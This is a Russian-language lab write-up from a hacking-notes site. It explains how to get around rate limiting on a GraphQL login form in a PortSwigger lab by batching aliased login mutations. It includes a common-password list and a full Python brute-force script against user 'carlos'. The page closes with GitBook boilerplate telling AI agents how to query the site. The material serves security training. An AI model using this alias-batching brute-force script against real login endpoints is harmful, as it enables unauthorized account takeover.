> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/graphql/graphql-anti-brute-force-protection-bypass.md).

# Обход защиты GraphQL от перебора

### Обход защит GraphQL от перебора

#### Контекст лабораторной работы

Форма входа лаборатории основана на API **GraphQL** с **ограничение скорости**: после нескольких неверных попыток конечная точка возвращает ошибку, указывающую, что вы должны подождать (например, 1 минуту) перед повторной попыткой.

Цель: **выполнить вход** подключиться как **carlos**, используя список паролей, предоставленный лабораториями аутентификации.

```json
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

#### (1) Наблюдение GraphQL-запроса

Перехватив соединение, мы получаем мутацию вида:

```json
{
  "query": "/n    mutation login($input: LoginInput!) {/n        login(input: $input) {/n            token/n            success/n        }/n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}
```

После слишком большого количества неверных попыток API отвечает ошибкой ограничения:

```json
{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "Вы сделали слишком много неверных попыток входа. Пожалуйста, попробуйте снова через 1 минуту."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "Исключение при получении данных (/login): вы сделали слишком много неверных попыток входа. Пожалуйста, попробуйте снова через 1 минуту."
    }
  ],
  "data": {
    "login": null
  }
}
```

<figure><img src="/files/d1dd277a2f0e56a928fc126e5bccee72096fb214" alt=""><figcaption></figcaption></figure>

### 2) Почему множить поля?

Естественная идея — отправить несколько `login` вызовов в **одной мутации**.

<details>

<summary><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">Пароли лаборатории аутентификации</a></summary>

123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow

</details>

Но если мы повторим одно и то же поле без различия, GraphQL откажет, потому что поля будут неоднозначными (одно и то же имя на одном уровне).

```graphql
 mutation login($input: LoginInput!) {
        login(input: $input) {
            токен
            success
        }
    }
```

<figure><img src="/files/5c1d6430149a3bb1d96f99d019faae5663b3daaf" alt="" width="473"><figcaption></figcaption></figure>

Неверный пример (неверная структура / конфликт полей):

```graphql
mutation login {
  login(input: { username: "carlos", password: "test" }) {
    токен
    success
  }
}
```

```graphql
mutation{
  login(input: { username: "carlos", password: "test" }) {
    токен
    success
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    токен
    success
  }
}
```

<figure><img src="/files/1f2f220d960ad83c8f0ed82f501e7623de3f81be" alt=""><figcaption></figcaption></figure>

### 3) Обход ограничений: использование псевдонимов

GraphQL позволяет переименовать каждый вызов с помощью **псевдонимов**. / Таким образом, вы можете выполнить **несколько попыток входа в одном HTTP-запросе**, что уменьшает влияние ограничения скорости

Рабочий пример:

```graphql
mutation login{
  loginTest: login(input: { username: "carlos", password: "test" }) {
    токен
    success
  }

  loginHack: login(input: { username: "carlos", password: "hack" }) {
    токен
    success
  }
}
```

В результате API обрабатывает несколько тестов в одном окне, чтобы снизить влияние ограничения.

<figure><img src="/files/7f6ae7eb0ba46b5429ebe78be74a6ce41ccf99de" alt=""><figcaption></figcaption></figure>

### 4) Автоматизация (подход со скриптом)

Принцип:

* Собрать `mutation login {... }`
* Добавить по одной строке на каждый пароль:
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* Отправить запрос
* Просмотреть `data.login{i}` чтобы найти `success: true`

```python
import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    print("[*] Создание GraphQL-запроса со всеми паролями...")

    query = "mutation login {/n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n    token/n    success/n  }}/n'
    query += "}"

    print(f"[*] Длина запроса: {len(query)} символов")
    print(f"[*] Проверка {len(passwords)} паролей за один раз...")

    payload = {"query": query}

    start_time = time.time()

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            data = response.json()

            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print(f"/n[+] УСПЕХ!")
                    print(f"[+] Имя пользователя: carlos")
                    print(f"[+] Пароль: {pwd}")
                    print(f"[+] Токен: {result.get('token')}")
                    print(f"[+] Время: {time.time() - start_time:.2f} секунд")
                    return True
            else:
                print("[-] Пароль не найден в списке")
        else:
            print(f"[-] HTTP-ошибка: {response.status_code}")
            print(response.text[:200])

    except requests.exceptions.RequestException as e:
        print(f"[-] Запрос не удался: {e}")

    return False

if __name__ == "__main__":
    print("=" * 50)
    print("Атака грубой силой на GraphQL")
    print("Использование псевдонимов для обхода ограничения скорости")
    print("=" * 50)

    if brute_force_all_at_once():
        print("/n[+] Атака успешно завершена!")
    else:
        print("/n[-] Атака не удалась")
```

Пароль, найденный для **carlos** это:

<figure><img src="/files/f03d7f694a88f9a38b0ecec088add8ede3eafb86" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/graphql/graphql-anti-brute-force-protection-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
